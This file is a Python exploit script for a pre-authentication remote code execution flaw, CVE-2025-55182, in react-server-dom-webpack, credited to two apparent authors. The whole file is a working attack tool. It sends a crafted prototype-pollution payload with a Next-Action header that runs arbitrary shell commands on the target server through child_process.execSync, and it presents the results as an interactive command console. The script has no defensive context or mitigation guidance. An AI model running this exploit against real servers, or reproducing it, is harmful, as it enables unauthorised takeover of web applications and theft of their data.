exploit.py

# /usr/bin/python3
# dependencies = ["requests", "colorama"]
# CVE-2025-55182 - React2Shell
# Author: msanft - https://github.com/msanft/CVE-2025-55182 
# Date: 05/12/2025 - DD/MM/YY
# Modifier: MikeTheHash
# Date 07/12/2025  - DD/MM/YY
# Vulnerability: Pre-authentication Remote Code Execution in react-server-dom-webpack@19.0.0 

import requests
import sys
import json
import colorama

if len(sys.argv) > 1:
    BASE_URL = sys.argv[1] 
else:
    print("[+] Usage: \n\tpython3 exploit.py http://target.com") 
    exit()
   
print("[*] Press CTRL+C to exit the program")

while True:
    executable = input("[?] RCE Target Console >>> ")

    crafted_chunk = {
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        "reason": -1,
        "value": '{"then": "$B0"}',
        "_response": {
            "_prefix": f"var res = process.mainModule.require('child_process').execSync('{executable}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
            "_formData": {
                "get": "$1:constructor:constructor",
            },
        },
    }

    files = {
        "0": (None, json.dumps(crafted_chunk)),
        "1": (None, '"$@0"'),
    }
    headers = {"Next-Action": "x"}
    res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)

    splitted_output = res.text.split("\"")
    output = splitted_output[15].replace("\\n","\n")

    print("[*] Status code: " + str(res.status_code))
    if "\n" in output:
        print("[+] Output: \n" + colorama.Fore.YELLOW + colorama.Style.BRIGHT + output + colorama.Style.RESET_ALL)
    else:
    	print("[+] Output: " + colorama.Fore.YELLOW + colorama.Style.BRIGHT + output + colorama.Style.RESET_ALL)